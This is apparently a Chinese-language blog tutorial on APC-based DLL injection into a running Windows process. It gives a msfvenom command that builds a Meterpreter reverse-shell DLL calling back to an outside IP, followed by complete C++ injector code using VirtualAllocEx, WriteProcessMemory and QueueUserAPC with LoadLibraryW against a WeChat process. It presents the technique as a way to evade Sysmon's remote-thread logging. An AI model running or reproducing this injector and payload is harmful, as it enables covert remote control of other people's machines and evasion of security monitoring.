1. 概述
1.1 注入条件
1.必须是多线程环境下2.注入的程序必须会调用上面的那些同步对象.那么我们可以注入APC,注意下条件,也不是所有都能注入的.注入方法的原理:1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数3.我们利用QueueUserApc,往这个队列中插入一个回调4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
1.2 实现效果
正常进行DLL注入的话使用sysmon会产生id=8的CreateRemoteThread日志,但是使用APC注入的话却不会产生这种日志:
2. 实现
2.1 生成DLL文件
使用MSF生成dll文件,指定目标IP和目标端口
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=1234 -f dll > 1.dll
2.2 APC注入
#include<stdio.h>#include<Windows.h>#include <tlhelp32.h>#include <iostream>#include <string>void GetErr() {printf("Error:%d", GetLastError());printf("\n");exit(1);}int getprocess(WCHAR* processname) {HANDLE data = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (data == INVALID_HANDLE_VALUE) {printf("[-] CreateToolhelp32Snapshot failure");GetErr();}else {PROCESSENTRY32W pe = { sizeof(pe) };printf("[*] CreateToolhelp32Snapshot Sucess\n");for (bool dd = Process32FirstW(data, &pe); dd; dd = Process32NextW(data, &pe)) {WCHAR* pname = pe.szExeFile;int pid = pe.th32ProcessID;if (wcscmp(processname, pname) == 0) {WCHAR info[650] = TEXT("name:");lstrcatW(info, pname);lstrcatW(info, TEXT(" "));wprintf(info);wprintf(TEXT("pid:"));printf("%d\n", pid);return pid;}}}return 0;}BOOL apcinject(int pid, WCHAR* dll) {HANDLE openprocess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);if (openprocess == 0) {GetErr();}else {printf("[*] OpenProcess Sucess\n");}LPVOID vt = VirtualAllocEx(openprocess, 0, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (vt == 0) {printf("[-] VirtualAllocEx faliure\n");GetErr();}else {printf("[*] VirtualAllocEx Sucess\n");}SIZE_T dwRet;bool write = WriteProcessMemory(openprocess, vt, dll, MAX_PATH, &dwRet);if (write == 0) {printf("[-] WriteProcessMemory faiure");GetErr();}else {printf("[*] WriteProcessMemory Sucess\n");}THREADENTRY32 te = { sizeof(te) };HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);if (handleSnap == INVALID_HANDLE_VALUE){printf("[-] CreateToolhelp32Snapshot faiure");GetErr();}else {printf("[*] CreateToolhelp32Snapshot Sucess\n");/*if (Thread32First(handleSnap, &te)){do {if (te.th32OwnerProcessID == pid){printf("%d\n", te.th32OwnerProcessID);}} while (Thread32Next(handleSnap, &te));}*/for (bool td = Thread32First(handleSnap, &te); td; td = Thread32Next(handleSnap, &te)) {if (te.th32OwnerProcessID == pid) {int tid = te.th32ThreadID;HANDLE openthread = OpenThread(THREAD_ALL_ACCESS, 0, tid);if (openthread == 0) {printf("[-] OpenThread faiure");GetErr();}else {printf("[*] OpenThread Sucess threadid:%d\n", tid);DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW, openthread, (ULONG_PTR)vt);if (dwRet == 0) {printf("[-] QueueUserAPC failure\n");GetErr();}else {printf("[+] APC Dll inject Sucess\n");}}}}}return true;}int main(){WCHAR* dll = TEXT("C:\\Users\\Administrator\\Desktop\\1.dll");apcinject(13060, dll);//13060为某个进程的PID,这里选择的为WechatBrowser.exesystem("pause");return 0;}
2.3 注入成功
2.4 注入效果-躲避sysmon监控
可以看到测试时的时间为21:22,但是过滤sysmon的日志却未发现这种类型的日志。

3. 参考
https://422926799.github.io/posts/c9faf9c0.htmlhttps://qcsdn.com/article/174156.htmlhttps://3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7

